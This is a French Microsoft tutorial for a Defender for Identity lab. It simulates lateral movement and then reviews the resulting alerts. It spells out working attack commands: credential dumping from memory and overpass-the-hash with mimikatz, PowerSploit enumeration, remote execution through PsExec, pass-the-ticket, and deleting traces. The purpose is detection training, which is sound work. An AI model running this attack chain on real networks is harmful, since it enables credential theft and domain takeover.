Tutoriel : Playbook de mouvement latéral

Le playbook de mouvement latéral est le troisième de la série de quatre tutoriels sur les alertes de sécurité Microsoft Defender pour Identity. L’objectif du labo des alertes de sécurité de Defender pour Identity est d’illustrer les fonctionnalités de Defender pour Identity concernant l’identification et la détection des activités suspectes et des attaques potentielles du réseau. Le playbook explique comment tester certaines détections discrètes de Defender pour Identity. Il se concentre sur les fonctionnalités de Defender pour Identity basées sur les signatures. Il ne comprend pas les détections comportementales avancées de type machine learning, utilisateurs et entités (qui impliquent une période d’apprentissage avec du trafic réseau réel pouvant aller jusqu’à 30 jours). Pour plus d’informations sur les différents tutoriels de cette série, consultez la Vue d’ensemble des labos des alertes de sécurité de Defender pour Identity.

Ce playbook montre certaines détections de menaces de type chemin de mouvement latéral et certains services d’alertes de sécurité de Defender pour Identity en simulant une attaque avec des outils de piratage et d’attaque courants, réels et accessibles au public.

Ce didacticiel vous apprendra à effectuer les opérations suivantes :

  • collecter des codes de hachage NTLM et simuler une attaque Overpass-the-Hash pour obtenir un ticket TGT (Ticket Granting) Kerberos ;
  • usurper l’identité d’un autre utilisateur, se déplacer latéralement sur le réseau et collecter d’autres informations d’identification ;
  • simuler une attaque Pass-the-Ticket pour accéder au contrôleur de domaine ;
  • passer en revue les alertes de sécurité provenant du mouvement latéral dans Defender pour Identity.

Prérequis

  1. Un labo d’alertes de sécurité Defender pour Identity terminé

    • Nous vous recommandons de suivre d’aussi près que possible les instructions de configuration du labo. Plus votre labo est proche de la configuration suggérée, plus les procédures de test de Defender pour Identity seront faciles à suivre.
  2. Achèvement du didacticiel du playbook de reconnaissance

Avertissement

Les outils de piratage tiers de ce laboratoire sont présentés à des fins de recherche uniquement. Microsoft ne possède pas ces outils et ne peut pas garantir ni ne garantit leur comportement. Ils sont susceptibles d’être modifiés sans préavis. Ces outils ne doivent être exécutés que dans un environnement de labo de test.

Déplacement latéral

Grâce à nos attaques simulées dans le tutoriel précédent, le playbook de reconnaissance, nous avons obtenu des informations réseau détaillées. En utilisant ces informations, notre objectif durant cette phase de mouvement latéral du labo est d’accéder à des adresses IP de valeur critique déjà découvertes et de voir les alertes de Defender pour Identity sur le mouvement. Dans la simulation de labo de reconnaissance précédente, nous avons identifié l’adresse IP cible 10.0.24.6, où les informations d’identification de l’ordinateur de SamiraA ont été exposées. Nous allons simuler différentes méthodes d’attaque pour essayer de nous déplacer latéralement sur le domaine.

Vider les informations d’identification en mémoire à partir de VictimPC

Au cours de nos attaques de reconnaissance fictives, VictimPC n’a pas été exposé uniquement aux informations d’identification de JeffL. Il y a d’autres comptes utiles à découvrir sur cet ordinateur. Pour obtenir un mouvement latéral à l’aide de VictimPC, nous allons tenter d’énumérer des informations d’identification en mémoire sur la ressource partagée. Le vidage des informations d’identification en mémoire à l’aide de mimikatz est une méthode d’attaque populaire avec un outil commun.

Mimikatz sekurlsa::logonpasswords

  1. Ouvrez une invite de commandes avec élévation de privilèges sur VictimPC.

  2. Accédez au dossier d’outils où vous avez enregistré Mimikatz et exécutez la commande suivante :

    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\temp\victimcpc.txt
    
  3. Ouvrez c:\temp\victimpc.txt pour voir les informations d’identification collectées et écrites par Mimikatz dans le fichier .txt. Mimikatz output including RonHD's NTLM hash.

  4. Nous avons pu collecter le code de hachage NTLM de RonHD à partir de la mémoire avec mimikatz. Nous aurons besoin du code de hachage NTLM sous peu.

    Important

    • Il est prévu et normal que les codes de hachage illustrés dans cet exemple soient différents des codes de hachage que vous voyez dans votre propre environnement de labo. L’objectif de cet exercice est de vous aider à comprendre comment les codes de hachage ont été obtenus, d’obtenir leurs valeurs et de les utiliser dans les étapes suivantes.
    • Les informations d’identification du compte d’ordinateur ont également été exposées lors de cette collecte. Alors que la valeur d’informations d’identification du compte d’ordinateur n’est pas utile dans notre labo actuel, n’oubliez pas de qu'il s’agit d’un autre moyen utilisé par les attaquants réel pour obtenir un mouvement latéral dans votre environnement.

Collecter plus d’informations sur le compte RonHD

Un attaquant peut ne pas savoir initialement qui est RonHD ou ne pas connaître sa valeur en tant que cible. Tout qu’il sait est qu’il peut utiliser les informations d’identification s’il est avantageux de le faire. Toutefois, à l’aide de la commande net nous, agissant comme un attaquant, pouvons découvrir de quels groupes RonHD est membre.

À partir de VictimPC, exécutez la commande suivante :

net user ronhd /domain

Reconnaissance against RonHD's account.

Il ressort des résultats que RonHD est membre du groupe de sécurité « Support technique ». Nous savons que RonHD nous donne des privilèges liés au compte et avec le groupe de sécurité du support technique.

Mimikatz sekurlsa::pth

À l’aide d’une technique courante appelée Overpass-the-Hash, le code de hachage NTLM collecté est utilisé pour obtenir un Ticket TGT (Ticket Granting). Avec le ticket TGT d’un utilisateur, un attaquant peut usurper l’identité d’un utilisateur compromis comme RonHD. En usurpant l’identité en tant que RonHD, nous pouvons accéder à n’importe quelle ressource de domaine à laquelle l’utilisateur compromis ou ses groupes de sécurité respectifs ont accès.

  1. À partir de VictimPC, accédez au répertoire contenant le dossier Mimikatz.exe. emplacement de stockage sur votre système de fichiers et exécutez la commande suivante :

    mimikatz.exe "privilege::debug" "sekurlsa::pth /user:ronhd /ntlm:96def1a633fc6790124d5f8fe21cc72b /domain:contoso.azure" "exit"
    

    Notes

    Si votre code de hachage pour RonHD était différent dans les étapes précédentes, remplacez le code de hachage NTLM ci-dessus par le code de hachage collecté auprès de victimpc.txt.

    Overpass-the-hash via mimikatz.

  2. Vérifiez qu’une nouvelle invite de commandes s’ouvre. Elle s’exécute en tant que RonHD, mais il est possible que cela ne soit pas encore évident. Ne fermez pas la nouvelle invite de commande, car vous allez l’utiliser ensuite.

Defender pour Identity ne détecte pas un hachage passé sur une ressource locale. Defender pour Identity détecte quand un hachage est utilisé depuis une ressource pour accéder à une autre ressource ou à un autre service.

Déplacement latéral supplémentaire

Maintenant, avec les informations d’identification de RonHD, pouvons-nous accéder aux informations d’identification de JeffL, ce qui n’était pas possible avant ? Nous allons utiliser PowerSploitGet-NetLocalGroup pour nous aider à répondre à cette question.

  1. Dans la console de commande ouverte en raison de notre attaque précédente, en cours d’exécution en tant que RonHD, exécutez les éléments suivants :

    Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
    Import-Module C:\tools\PowerSploit\PowerSploit.psm1 -Force
    Get-NetLocalGroupMember 10.0.24.6 -GroupName Administrators
    

    Get local admins for 10.0.24.6 via PowerSploit.

    Dans les coulisses, cet exemple utilise la gestion des actifs logiciels à distance pour identifier les administrateurs locaux pour l’adresse IP que nous avons découvert précédemment et qui a été exposée à un compte d’administrateur de domaine.

    Notre résultat doit ressembler à :

    Output of the PowerSploit Get-NetLocalGroup.

    Cet ordinateur a deux administrateurs locaux, l’administrateur intégré « ContosoAdmin » et « Support technique ». Nous savons que RonHD est membre du groupe de sécurité « Support technique ». On nous a également donné le nom de l’ordinateur, AdminPC. Étant donné que nous avons les informations d’identification de RonHD, nous devrions pouvoir les utiliser pour nous déplacer latéralement vers AdminPC et d’accéder à cet ordinateur.

  2. À partir de la même invite de commandes, qui s’exécute dans le contexte de RonHD, tapez quitter sortir de PowerShell si nécessaire. Ensuite, exécutez la commande suivante :

    dir \\adminpc\c$
    
  3. Nous avons pu accéder à AdminPC. Voyons quels tickets nous avons. Dans la même invite de commandes, exécutez la commande suivante :

    klist
    

    Use klist to show us Kerberos tickets in our current cmd.exe process.

Vous pouvez voir que, pour ce processus particulier, nous avons un TGT de RonHD en mémoire. Nous avons effectué avec succès une attaque Overpass-the-Hash dans notre labo. Nous avons converti le code de hachage NTLM compromis précédemment et l’avons utilisé pour obtenir un TGT Kerberos. Ce TGT Kerberos a été ensuite utilisé pour accéder à une autre ressource réseau, dans le cas présent, AdminPC.

Attaque Overpass-the-Hash détectée dans Defender pour Identity

En examinant la console de Defender pour Identity, nous pouvons voir les éléments suivants :

Defender for Identity detecting the Overpass-the-Hash attack

Defender pour Identity a détecté que le compte de RonHD a été compromis sur VictimPC, puis utilisé pour réussir à obtenir un TGT Kerberos. Si nous sélectionnons le nom de RonHD dans l’alerte, nous sommes dirigés vers la chronologie des activités logiques de RonHD, où nous pouvons approfondir notre recherche.

View the detection in the Logical Activity timeline.

Dans le centre d’opérations de sécurité, l’attention de notre analyste de sécurité est attirée par les informations d’identification compromises et il peut examiner rapidement les ressources ayant fait l’objet d’un accès.

Élévation de domaine

Du fait de notre attaque simulée, nous n’avons pas seulement accès à AdminPC, mais nous avons également validé des privilèges d’administrateur sur AdminPC. Nous pouvons maintenant nous déplacer latéralement vers AdminPC et collecter des informations d’identification supplémentaires.

Nous allons ici :

  • préparer Mimikatz sur AdminPC ;
  • collecter des tickets sur AdminPC ;
  • effectuer Pass-the-ticket pour devenir SamiraA.

Pass-the-ticket

À partir de l’invite de commandes exécutée dans le contexte de RonHD sur VictimPC, accédez à l’emplacement où se trouvent nos outils d’attaque courants. Ensuite, exécutez xcopy pour les déplacer vers l’ordinateur AdminPC :

xcopy mimikatz.exe \\adminpc\c$\temp

Appuyez sur d lorsque vous y êtes invité, en indiquant que le dossier « temp » est un répertoire sur AdminPC.

Copy files to AdminPC.

Mimikatz sekurlsa::tickets

Avec Mimikatz préparé sur AdminPC, nous allons utiliser PsExec pour l’exécuter à distance.

  1. Allez à l’emplacement de PsExec et exécutez la commande suivante :

    PsExec.exe \\AdminPC -accepteula cmd /c (cd c:\temp ^& mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit")
    

    Cette commande exécute et exporte les tickets trouvés dans le processus LSASS.exe et les place dans le répertoire actuel, sur AdminPC.

  2. Nous devons copier les tickets pour les faire revenir d’AdminPC à VictimPC. Comme nous nous intéressons uniquement aux tickets de SamiraA pour cet exemple, exécutez la commande suivante :

    xcopy \\adminpc\c$\temp\*SamiraA* c:\temp\adminpc_tickets
    

    Export harvested credentials from AdminPC back to VictimPC.

  3. Nous allons effacer nos traces sur AdminPC en supprimant nos fichiers.

    rmdir \\adminpc\c$\temp /s /q
    

    Notes

    Les pirates plus sophistiquées ne touchent pas au disque lorsqu’ils exécutent du code arbitraire sur un ordinateur après avoir obtenu des privilèges d’administrateur sur ce dernier.

    Sur notre VictimPC, ces tickets collectés se trouvent dans notre dossier c:\temp\adminpc_tickets :

    C:\temp\tickets is our exported mimikatz output from AdminPC.

Mimikatz Kerberos::ptt

Avec les tickets localement sur VictimPC, il est maintenant temps de devenir SamiraA par « En passant le Ticket ».

  1. À partir de l’emplacement de Mimikatz sur le système de fichiers de VictimPC, ouvrez une nouvelle invite de commandes avec élévation de privilèges et exécutez la commande suivante :

    mimikatz.exe "privilege::debug" "kerberos::ptt c:\temp\adminpc_tickets" "exit"
    

    Import the stolen tickets into the cmd.exe process.

  2. Dans la même invite de commandes avec élévation de privilèges, vous devez valider que la session d’invite de commandes comprend les tickets adéquats. Exécutez la commande suivante :

    klist
    

    Run klist to see the imported tickets in the CMD process.

  3. Notez que ces tickets restent inutilisés. En agissant comme un attaquant, nous avons réussi à « passer le ticket ». Nous avons collecté les informations d’identification de SamirA dans AdminPC avant de les passer à un autre processus s’exécutant sur VictimPC.

    Notes

    Comme dans l’attaque Pass-the-Hash, Defender pour Identity ne sait pas que le ticket a été passé en relation avec une activité du client local. Cependant, il détecte l’activité une fois le ticket utilisé, c’est-à-dire exploité pour accéder à une autre ressource ou à un autre service.

  4. Terminez votre attaque simulée en accédant au contrôleur de domaine à partir de VictimPC. Dans l’invite de commandes maintenant en cours d’exécution avec les tickets de SamirA en mémoire, exécutez :

    dir \\ContosoDC\c$
    

    Access the C drive of ContosoDC using SamirA's credentials.

Opération réussie. Nos attaques fictives nous ont permis d’accéder en tant qu’administrateur à notre contrôleur de domaine et de réussir à compromettre le domaine/la forêt Active Directory de notre labo.

Détection d’attaque Pass-the-Ticket dans Defender pour Identity

La plupart des outils de sécurité n’ont aucun moyen de détecter l’utilisation d’informations d’identification légitimes pour accéder à une ressource légitime. Quels sont en revanche les événements détectés et signalés par Defender pour Identity dans cette chaîne d’événements ?

  • Defender pour Identity a détecté le vol des tickets de Samira sur AdminPC et le mouvement vers VictimPC.
  • Le portail Defender pour Identity indique précisément quelles ressources ont été consultées en utilisant les tickets volés.
  • Il fournit des informations clés et des preuves pour identifier exactement où commencer votre investigation et quelles mesures prendre pour y remédier.

Les détections et les informations d’alerte de Defender pour Identity ont une valeur critique pour toute équipe DFIR (Digital Forensics Incident Response). Vous pouvez non seulement voir les informations d’identification volées, mais encore découvrir les ressources ayant fait l’objet d’un accès et d’une compromission avec le ticket volé.

Defender for Identity detects Pass-the-Ticket with two-hour suppression

Notes

Cet événement va s’afficher sur la console Defender pour Identity seulement pendant 2 heures. Les événements de ce type sont délibérément supprimés pendant cet intervalle de temps pour réduire les faux positifs.

Étapes suivantes

La phase suivante dans la chaîne de destruction d’attaque est le contrôle du domaine.

Rejoindre la communauté

Vous avez d’autres questions, ou vous voulez discuter de Defender pour Identity et de la sécurité associée avec d’autres utilisateurs ? Rejoignez la communauté Defender pour Identity dès aujourd’hui.